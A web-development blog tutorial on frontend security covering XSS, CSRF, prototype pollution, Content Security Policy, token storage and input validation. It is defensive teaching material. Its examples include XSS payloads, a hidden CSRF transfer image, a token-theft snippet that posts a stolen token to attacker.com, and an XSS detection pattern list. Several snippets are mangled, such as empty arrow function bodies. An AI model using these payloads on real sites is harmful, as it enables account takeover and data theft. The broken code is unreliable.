0% read
Skip to main content
Frontend Security - Protecting Against XSS, CSRF, and Injection Attacks in Modern Web Applications

Frontend Security - Protecting Against XSS, CSRF, and Injection Attacks in Modern Web Applications

S
StaticBlock
22 min read

Introduction

Frontend security vulnerabilities expose millions of users to data theft, account takeover, and malicious code execution. Cross-Site Scripting (XSS) remains the #1 web vulnerability according to OWASP, while CSRF attacks and injection vulnerabilities continue to plague modern applications. Companies like Google, Facebook, and GitHub invest heavily in frontend security—implementing Content Security Policy, secure authentication patterns, and defense-in-depth strategies that protect billions of users daily.

This guide covers production-grade frontend security patterns, from XSS prevention and CSRF protection to Content Security Policy implementation and secure coding practices that keep your users safe.

Understanding the Frontend Threat Landscape

Common Frontend Vulnerabilities

1. Cross-Site Scripting (XSS)
Attackers inject malicious scripts into web pages viewed by other users:

// Vulnerable code - NEVER DO THIS
function displayUserComment(comment) {
    document.getElementById('comments').innerHTML = comment;
}

// If comment contains: <script>steal_cookies()</script> // The malicious script executes in victim's browser

XSS Attack Types:

// Reflected XSS - Malicious script in URL parameter
https://example.com/search?q=<script>alert('XSS')</script>

// Stored XSS - Malicious script stored in database const comment = "<img src=x onerror='steal_data()'>"; // Stored and displayed to all users

// DOM-based XSS - Client-side script vulnerability const username = location.hash.substring(1); document.getElementById('welcome').innerHTML = Hello ${username}; // URL: https://example.com#<img src=x onerror='alert(1)'>

Real-world XSS Impact:

  • MySpace Samy Worm (2005): XSS worm infected 1 million profiles in 20 hours
  • TweetDeck XSS (2014): Self-retweeting XSS spread across Twitter
  • British Airways (2018): XSS-based Magecart attack compromised 380,000 payment cards

2. Cross-Site Request Forgery (CSRF)
Attackers trick authenticated users into executing unwanted actions:

<!-- Malicious site tricks user into making request -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none">

<!-- If user is logged into bank.com, request succeeds -->

3. Client-Side Injection Attacks

// SQL injection via client-side code
const userId = new URLSearchParams(window.location.search).get('id');
fetch(`/api/users?id=${userId}`); // Vulnerable to injection

// Command injection via eval const userInput = prompt('Enter calculation:'); eval(userInput); // NEVER use eval with user input

// Prototype pollution const merge = (target, source) => { for (let key in source) { target[key] = source[key]; // Vulnerable } }; // Attacker sends: {"proto": {"isAdmin": true}}

XSS Prevention Strategies

1. Context-Aware Output Encoding

HTML Context Encoding:

// Safe HTML escaping function
function escapeHtml(unsafe) {
    return unsafe
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}

// Usage const userInput = '<script>alert("XSS")</script>'; const safe = escapeHtml(userInput); document.getElementById('content').textContent = safe; // Renders as text, not executed as script

JavaScript Context Encoding:

// Encoding for JavaScript strings
function escapeJs(unsafe) {
    return unsafe
        .replace(/\\/g, '\\\\')
        .replace(/'/g, "\\'")
        .replace(/"/g, '\\"')
        .replace(/\n/g, '\\n')
        .replace(/\r/g, '\\r')
        .replace(/\x08/g, '\\b')
        .replace(/\t/g, '\\t');
}

// Safe usage in JavaScript context const userName = escapeJs(userInput); const script = alert('Welcome ${userName}');;

URL Context Encoding:

// Safe URL parameter encoding
function buildUrl(base, params) {
    const query = Object.entries(params)
        .map(([key, value]) =>
            `${encodeURIComponent(key)}=${encodeURIComponent(value)}`
        )
        .join('&');
    return `${base}?${query}`;
}

// Usage const searchUrl = buildUrl('/search', { q: userInput, page: 1 });

2. React XSS Prevention

React's Built-in Protection:

// React automatically escapes by default
function UserProfile({ user }) {
    // Safe - React escapes HTML entities
    return (
        <div>
            <h1>{user.name}</h1>
            <p>{user.bio}</p>
        </div>
    );
}

// Even if user.name = "<script>alert('XSS')</script>" // React renders it as escaped text, not executable script

Dangerous Patterns to Avoid:

// DANGEROUS - dangerouslySetInnerHTML bypasses protection
function BlogPost({ content }) {
    return (
        <div dangerouslySetInnerHTML={{ __html: content }} />
    );
    // Only use with sanitized content!
}

// SAFE - Use DOMPurify for sanitization import DOMPurify from 'dompurify';

function SafeBlogPost({ content }) { const sanitized = DOMPurify.sanitize(content, { ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'], ALLOWED_ATTR: ['href'] });

return &lt;div dangerouslySetInnerHTML={{ __html: sanitized }} /&gt;;

}

React Router XSS Prevention:

// Vulnerable - user-controlled href
function UserLink({ url, text }) {
    return <a href={url}>{text}</a>;
}
// Attacker passes: url = "javascript:alert('XSS')"

// Safe - validate URL protocol function SafeUserLink({ url, text }) { const isSafe = url.startsWith('http://') || url.startsWith('https://') || url.startsWith('/');

if (!isSafe) {
    return &lt;span&gt;{text}&lt;/span&gt;;
}

return &lt;a href={url}&gt;{text}&lt;/a&gt;;

}

3. Vue.js XSS Prevention

Vue's Automatic Escaping:

<template>
  <!-- Safe - Vue escapes by default -->
  <div>
    <h1>{{ user.name }}</h1>
    <p>{{ user.bio }}</p>
  </div>
</template>

<script> export default { data() { return { user: { name: '<script>alert("XSS")</script>', bio: 'User bio' } } } } </script>

Dangerous v-html Directive:

<template>
  <!-- DANGEROUS - v-html renders raw HTML -->
  <div v-html="userContent"></div>

<!-- SAFE - Sanitize first --> <div v-html="sanitizedContent"></div> </template>

<script> import DOMPurify from 'dompurify';

export default { computed: { sanitizedContent() { return DOMPurify.sanitize(this.userContent); } } } </script>

4. DOMPurify for HTML Sanitization

Basic Usage:

import DOMPurify from 'dompurify';

// Sanitize user-generated HTML const dirty = '<img src=x onerror=alert(1)//>'; const clean = DOMPurify.sanitize(dirty); console.log(clean); // <img src="x">

// Custom configuration const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['p', 'b', 'i', 'strong', 'em', 'a', 'ul', 'ol', 'li'], ALLOWED_ATTR: ['href', 'title'], ALLOW_DATA_ATTR: false });

Advanced DOMPurify Configuration:

// Rich text editor sanitization
function sanitizeRichText(html) {
    return DOMPurify.sanitize(html, {
        ALLOWED_TAGS: [
            'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
            'p', 'br', 'strong', 'em', 'u', 'strike',
            'ul', 'ol', 'li', 'blockquote', 'code', 'pre',
            'a', 'img'
        ],
        ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
        ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
        ALLOW_DATA_ATTR: false,
        SAFE_FOR_TEMPLATES: true
    });
}

// Markdown sanitization function sanitizeMarkdown(markdown) { // Convert markdown to HTML first const html = marked.parse(markdown);

// Then sanitize
return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li', 'a'],
    ALLOWED_ATTR: ['href']
});

}

CSRF Protection Strategies

1. CSRF Tokens (Synchronizer Token Pattern)

Backend Token Generation:

// Express.js CSRF protection
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => { res.render('form', { csrfToken: req.csrfToken() }); });

app.post('/process', csrfProtection, (req, res) => { // CSRF token automatically validated res.send('Data processed'); });

Frontend Token Usage:

// Fetch CSRF token from meta tag
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

// Include in fetch requests async function submitForm(data) { const response = await fetch('/api/submit', { method: 'POST', headers: { 'Content-Type': 'application/json', 'CSRF-Token': csrfToken }, body: JSON.stringify(data) });

return response.json();

}

// Or in form submissions document.querySelector('form').addEventListener('submit', (e) => { e.preventDefault(); const formData = new FormData(e.target); formData.append('_csrf', csrfToken);

fetch('/api/submit', {
    method: 'POST',
    body: formData
});

});

React CSRF Token Hook:

import { useState, useEffect } from 'react';

function useCsrfToken() { const [token, setToken] = useState('');

useEffect(() =&gt; {
    const metaToken = document.querySelector('meta[name=&quot;csrf-token&quot;]');
    if (metaToken) {
        setToken(metaToken.content);
    }
}, []);

return token;

}

// Usage in component function SubmitForm() { const csrfToken = useCsrfToken();

const handleSubmit = async (data) =&gt; {
    await fetch('/api/submit', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'CSRF-Token': csrfToken
        },
        body: JSON.stringify(data)
    });
};

return &lt;form onSubmit={handleSubmit}&gt;...&lt;/form&gt;;

}

2. SameSite Cookie Attribute

Modern CSRF Protection:

// Set SameSite attribute on session cookies
res.cookie('sessionId', sessionToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict', // or 'lax' for better UX
    maxAge: 3600000
});

// SameSite options: // 'strict' - Cookie only sent for same-site requests (most secure) // 'lax' - Cookie sent for top-level navigations (balanced) // 'none' - Cookie sent for all requests (requires Secure flag)

Frontend Cookie Configuration:

// JavaScript cookie library with SameSite
import Cookies from 'js-cookie';

// Set cookie with SameSite Cookies.set('user_preference', value, { sameSite: 'strict', secure: true, expires: 7 });

// Get cookie const preference = Cookies.get('user_preference');

3. Double Submit Cookie Pattern

Implementation:

// Backend generates random token
app.post('/api/action', (req, res) => {
    const cookieToken = req.cookies.csrfToken;
    const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF validation failed' });
}

// Process request
res.json({ success: true });

});

// Frontend sends token in both cookie and header async function makeSecureRequest(url, data) { const csrfToken = Cookies.get('csrfToken');

const response = await fetch(url, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': csrfToken
    },
    credentials: 'include',
    body: JSON.stringify(data)
});

return response.json();

}

Content Security Policy (CSP)

CSP Basics

Strict CSP Header:

// Express.js CSP middleware
app.use((req, res, next) => {
    res.setHeader(
        'Content-Security-Policy',
        "default-src 'self'; " +
        "script-src 'self' 'nonce-${nonce}'; " +
        "style-src 'self' 'nonce-${nonce}'; " +
        "img-src 'self' data: https:; " +
        "font-src 'self'; " +
        "connect-src 'self'; " +
        "frame-ancestors 'none'; " +
        "base-uri 'self'; " +
        "form-action 'self';"
    );
    next();
});

CSP Directives Explained:

Content-Security-Policy:
  default-src 'self'              # Default policy for all resource types
  script-src 'self' 'nonce-xyz'   # Allow scripts from same origin + nonce
  style-src 'self' 'unsafe-inline' # Allow styles (inline needed for some frameworks)
  img-src 'self' data: https:     # Allow images from same origin, data URIs, HTTPS
  font-src 'self' https://fonts.gstatic.com  # Allow fonts from same origin + Google Fonts
  connect-src 'self' https://api.example.com # Allow API calls
  frame-src 'none'                # Block all frames/iframes
  object-src 'none'               # Block plugins (Flash, Java, etc.)
  base-uri 'self'                 # Prevent base tag injection
  form-action 'self'              # Only allow form submissions to same origin
  upgrade-insecure-requests       # Upgrade HTTP to HTTPS
  block-all-mixed-content         # Block mixed HTTP/HTTPS content

Nonce-based CSP

Generating Nonces:

const crypto = require('crypto');

// Generate unique nonce per request app.use((req, res, next) => { res.locals.nonce = crypto.randomBytes(16).toString('base64'); res.setHeader( 'Content-Security-Policy', script-src 'self' 'nonce-${res.locals.nonce}' ); next(); });

// Use nonce in HTML app.get('/', (req, res) => { res.send(&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script nonce=&quot;${res.locals.nonce}&quot;&gt; console.log('This script is allowed'); &lt;/script&gt; &lt;/head&gt; &lt;/html&gt;); });

React with CSP Nonces:

// Server-side rendering with nonce
import { renderToString } from 'react-dom/server';

app.get('/', (req, res) => { const nonce = crypto.randomBytes(16).toString('base64'); const html = renderToString(<App nonce={nonce} />);

res.setHeader(
    'Content-Security-Policy',
    `script-src 'self' 'nonce-${nonce}'`
);

res.send(`
    &lt;!DOCTYPE html&gt;
    &lt;html&gt;
    &lt;head&gt;
        &lt;script nonce=&quot;${nonce}&quot; src=&quot;/bundle.js&quot;&gt;&lt;/script&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;div id=&quot;root&quot;&gt;${html}&lt;/div&gt;
    &lt;/body&gt;
    &lt;/html&gt;
`);

});

CSP Reporting

Report-Only Mode:

// Test CSP without blocking
app.use((req, res, next) => {
    res.setHeader(
        'Content-Security-Policy-Report-Only',
        "default-src 'self'; report-uri /csp-violation-report"
    );
    next();
});

// CSP violation reporting endpoint app.post('/csp-violation-report', express.json({ type: 'application/csp-report' }), (req, res) => { console.log('CSP Violation:', req.body); // Log to monitoring service res.status(204).end(); });

CSP Violation Report Structure:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "referrer": "",
    "violated-directive": "script-src",
    "effective-directive": "script-src",
    "original-policy": "default-src 'self'; script-src 'self'",
    "blocked-uri": "https://evil.com/malicious.js",
    "status-code": 200
  }
}

Secure Authentication Patterns

1. Secure Token Storage

DO NOT Store Tokens in localStorage:

// INSECURE - Vulnerable to XSS
localStorage.setItem('authToken', token);

// XSS attack can steal token const stolenToken = localStorage.getItem('authToken'); fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ token: stolenToken }) });

SECURE - Use HttpOnly Cookies:

// Backend sets HttpOnly cookie
res.cookie('authToken', token, {
    httpOnly: true,      // Cannot be accessed by JavaScript
    secure: true,        // Only sent over HTTPS
    sameSite: 'strict',  // CSRF protection
    maxAge: 3600000     // 1 hour
});

// Frontend makes authenticated requests // Cookie automatically included fetch('/api/protected', { credentials: 'include' });

Memory-based Token Storage:

// Store token in memory (React example)
let authToken = null;

export const setAuthToken = (token) =>;

export const getAuthToken = () => authToken;

export const clearAuthToken = () =>;

// Use in API client export const apiClient = { async get(url) { const token = getAuthToken(); return fetch(url, { headers: { 'Authorization': Bearer ${token} } }); } };

2. Secure Password Handling

Frontend Password Validation:

// Password strength checker
function validatePassword(password) {
    const requirements = {
        minLength: password.length >= 12,
        hasUpperCase: /[A-Z]/.test(password),
        hasLowerCase: /[a-z]/.test(password),
        hasNumber: /\d/.test(password),
        hasSpecial: /[!@#$%^&*(),.?":{}|<>]/.test(password)
    };
const strength = Object.values(requirements).filter(Boolean).length;

return {
    isValid: strength &gt;= 4,
    strength: strength,
    requirements: requirements
};

}

// React password input component function PasswordInput() { const [password, setPassword] = useState(''); const [showPassword, setShowPassword] = useState(false);

const validation = validatePassword(password);

return (
    &lt;div&gt;
        &lt;input
            type={showPassword ? 'text' : 'password'}
            value={password}
            onChange={(e) =&gt; setPassword(e.target.value)}
            autoComplete=&quot;new-password&quot;
        /&gt;
        &lt;button onClick={() =&gt; setShowPassword(!showPassword)}&gt;
            {showPassword ? 'Hide' : 'Show'}
        &lt;/button&gt;

        &lt;ul&gt;
            &lt;li className={validation.requirements.minLength ? 'valid' : 'invalid'}&gt;
                At least 12 characters
            &lt;/li&gt;
            &lt;li className={validation.requirements.hasUpperCase ? 'valid' : 'invalid'}&gt;
                One uppercase letter
            &lt;/li&gt;
            &lt;li className={validation.requirements.hasNumber ? 'valid' : 'invalid'}&gt;
                One number
            &lt;/li&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
);

}

Secure Password Submission:

// Always use HTTPS
// Never log passwords
async function submitPassword(email, password) {
    try {
        const response = await fetch('https://api.example.com/auth/login', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ email, password })
        });
    // Clear password from memory
    password = null;

    return response.json();
} catch (error) {
    // Don't expose password in error logs
    console.error('Login failed', { email });
    throw error;
}

}

Input Validation and Sanitization

Client-Side Validation

Form Validation Patterns:

// Comprehensive input validation
class InputValidator {
    static email(value) {
        const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        return emailRegex.test(value);
    }
static url(value) {
    try {
        new URL(value);
        return value.startsWith('http://') || value.startsWith('https://');
    } catch {
        return false;
    }
}

static sanitizeString(value, maxLength = 255) {
    return value
        .trim()
        .slice(0, maxLength)
        .replace(/[&lt;&gt;]/g, ''); // Remove angle brackets
}

static isAlphanumeric(value) {
    return /^[a-zA-Z0-9]+$/.test(value);
}

static phoneNumber(value) {
    // E.164 format
    return /^\+?[1-9]\d{1,14}$/.test(value.replace(/[\s\-()]/g, ''));
}

}

// Usage const form = document.getElementById('contactForm'); form.addEventListener('submit', (e) => { e.preventDefault();

const email = form.email.value;
const website = form.website.value;

if (!InputValidator.email(email)) {
    alert('Invalid email address');
    return;
}

if (website &amp;&amp; !InputValidator.url(website)) {
    alert('Invalid website URL');
    return;
}

// Submit form
submitForm({ email, website });

});

React Form Validation:

import { useState } from 'react';

function ContactForm() { const [formData, setFormData] = useState({ email: '', message: '' }); const [errors, setErrors] = useState({});

const validate = () =&gt; {
    const newErrors = {};

    if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(formData.email)) {
        newErrors.email = 'Invalid email address';
    }

    if (formData.message.length &lt; 10) {
        newErrors.message = 'Message must be at least 10 characters';
    }

    if (formData.message.length &gt; 1000) {
        newErrors.message = 'Message too long (max 1000 characters)';
    }

    setErrors(newErrors);
    return Object.keys(newErrors).length === 0;
};

const handleSubmit = async (e) =&gt; {
    e.preventDefault();

    if (!validate()) return;

    // Sanitize before sending
    const sanitized = {
        email: formData.email.trim(),
        message: DOMPurify.sanitize(formData.message)
    };

    await submitForm(sanitized);
};

return (
    &lt;form onSubmit={handleSubmit}&gt;
        &lt;input
            type=&quot;email&quot;
            value={formData.email}
            onChange={(e) =&gt; setFormData({ ...formData, email: e.target.value })}
            required
        /&gt;
        {errors.email &amp;&amp; &lt;span className=&quot;error&quot;&gt;{errors.email}&lt;/span&gt;}

        &lt;textarea
            value={formData.message}
            onChange={(e) =&gt; setFormData({ ...formData, message: e.target.value })}
            maxLength={1000}
            required
        /&gt;
        {errors.message &amp;&amp; &lt;span className=&quot;error&quot;&gt;{errors.message}&lt;/span&gt;}

        &lt;button type=&quot;submit&quot;&gt;Submit&lt;/button&gt;
    &lt;/form&gt;
);

}

Real-World Security Examples

GitHub's Security Approach

CSP Implementation:

Content-Security-Policy:
  default-src 'none';
  base-uri 'self';
  child-src github.com/assets-cdn;
  connect-src 'self' uploads.github.com;
  font-src github.githubassets.com;
  form-action 'self' github.com;
  frame-ancestors 'none';
  img-src 'self' data: github.githubassets.com;
  script-src github.githubassets.com;
  style-src 'unsafe-inline' github.githubassets.com;
  upgrade-insecure-requests

CSRF Protection:

  • Authenticity tokens in all forms
  • SameSite=Lax cookies
  • Custom request headers for API calls

Google's Security Patterns

Strict CSP with Nonces:

// Google uses nonce-based CSP
Content-Security-Policy:
  object-src 'none';
  base-uri 'self';
  script-src 'nonce-rAnd0m' 'strict-dynamic';
  report-uri https://csp.withgoogle.com/csp/gws/other

Trusted Types:

// Google developed Trusted Types to prevent DOM XSS
if (window.trustedTypes && trustedTypes.createPolicy) {
    const policy = trustedTypes.createPolicy('default', {
        createHTML: (string) => DOMPurify.sanitize(string),
        createScriptURL: (string) => string,
        createScript: (string) => string
    });
}

// Usage element.innerHTML = policy.createHTML(userInput);

Facebook's Security Measures

Content Security Policy:

Content-Security-Policy:
  default-src * data: blob:;
  script-src *.facebook.com *.fbcdn.net;
  style-src * 'unsafe-inline';
  connect-src *.facebook.com;

Inline Script Protection:

// Facebook uses nonce-based inline scripts
<script nonce="A3sDF9x2k1">
    // Inline script code
</script>

Monitoring and Detection

Security Headers Monitoring

// Check security headers
async function checkSecurityHeaders(url) {
    const response = await fetch(url);
    const headers = response.headers;
const securityHeaders = {
    'content-security-policy': headers.get('content-security-policy'),
    'x-content-type-options': headers.get('x-content-type-options'),
    'x-frame-options': headers.get('x-frame-options'),
    'strict-transport-security': headers.get('strict-transport-security'),
    'x-xss-protection': headers.get('x-xss-protection')
};

console.log('Security Headers:', securityHeaders);

// Alert on missing headers
if (!securityHeaders['content-security-policy']) {
    console.warn('Missing Content-Security-Policy header');
}

}

Runtime XSS Detection

// Monitor for XSS attempts
class XSSDetector {
    static suspiciousPatterns = [
        /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
        /javascript:/gi,
        /on\w+\s*=/gi, // Event handlers like onclick=
        /<iframe/gi,
        /eval\(/gi,
        /document\.write/gi
    ];
static detectXSS(input) {
    for (const pattern of this.suspiciousPatterns) {
        if (pattern.test(input)) {
            console.error('Potential XSS detected:', input);
            // Send to monitoring service
            this.reportSuspiciousActivity(input);
            return true;
        }
    }
    return false;
}

static reportSuspiciousActivity(input) {
    fetch('/api/security/report', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            type: 'xss_attempt',
            input: input,
            timestamp: Date.now(),
            userAgent: navigator.userAgent,
            url: window.location.href
        })
    });
}

}

// Use before processing user input document.getElementById('userInput').addEventListener('blur', (e) => { const value = e.target.value; if (XSSDetector.detectXSS(value)) { e.target.value = ''; alert('Invalid input detected'); } });

Security Best Practices Checklist

Essential Security Controls

1. Output Encoding

  • ✅ Escape all user input before rendering
  • ✅ Use context-aware encoding (HTML, JavaScript, URL, CSS)
  • ✅ Never use innerHTML with unsanitized input
  • ✅ Sanitize rich text with DOMPurify

2. CSRF Protection

  • ✅ Implement CSRF tokens for state-changing requests
  • ✅ Use SameSite cookie attribute
  • ✅ Validate Origin and Referer headers
  • ✅ Implement double-submit cookie pattern for SPAs

3. Content Security Policy

  • ✅ Implement strict CSP with nonces
  • ✅ Use CSP report-only mode for testing
  • ✅ Monitor and respond to CSP violations
  • ✅ Regularly review and update CSP directives

4. Secure Authentication

  • ✅ Store tokens in HttpOnly cookies
  • ✅ Never store sensitive data in localStorage
  • ✅ Implement secure password policies
  • ✅ Use HTTPS for all authentication endpoints

5. Input Validation

  • ✅ Validate all user input client-side and server-side
  • ✅ Whitelist allowed characters and patterns
  • ✅ Enforce maximum input lengths
  • ✅ Sanitize before storage and display

Conclusion

Frontend security requires defense-in-depth—combining XSS prevention, CSRF protection, Content Security Policy, secure authentication, and rigorous input validation. Companies like Google, GitHub, and Facebook demonstrate that production-grade security is achievable with the right patterns and tools.

Key takeaways:

  1. Never trust user input - Always validate, sanitize, and encode
  2. Use framework protections - React and Vue provide automatic XSS protection
  3. Implement CSP - Content Security Policy is your last line of defense
  4. Secure authentication - HttpOnly cookies, not localStorage
  5. Layer defenses - Multiple security controls provide resilience

Remember: Security is not a feature—it's a fundamental requirement. Start with these patterns, monitor continuously, and stay informed about emerging threats to keep your users safe.

Found this helpful? Share it!

Related Articles

S

Written by StaticBlock

StaticBlock is a technical writer and software engineer specializing in web development, performance optimization, and developer tooling.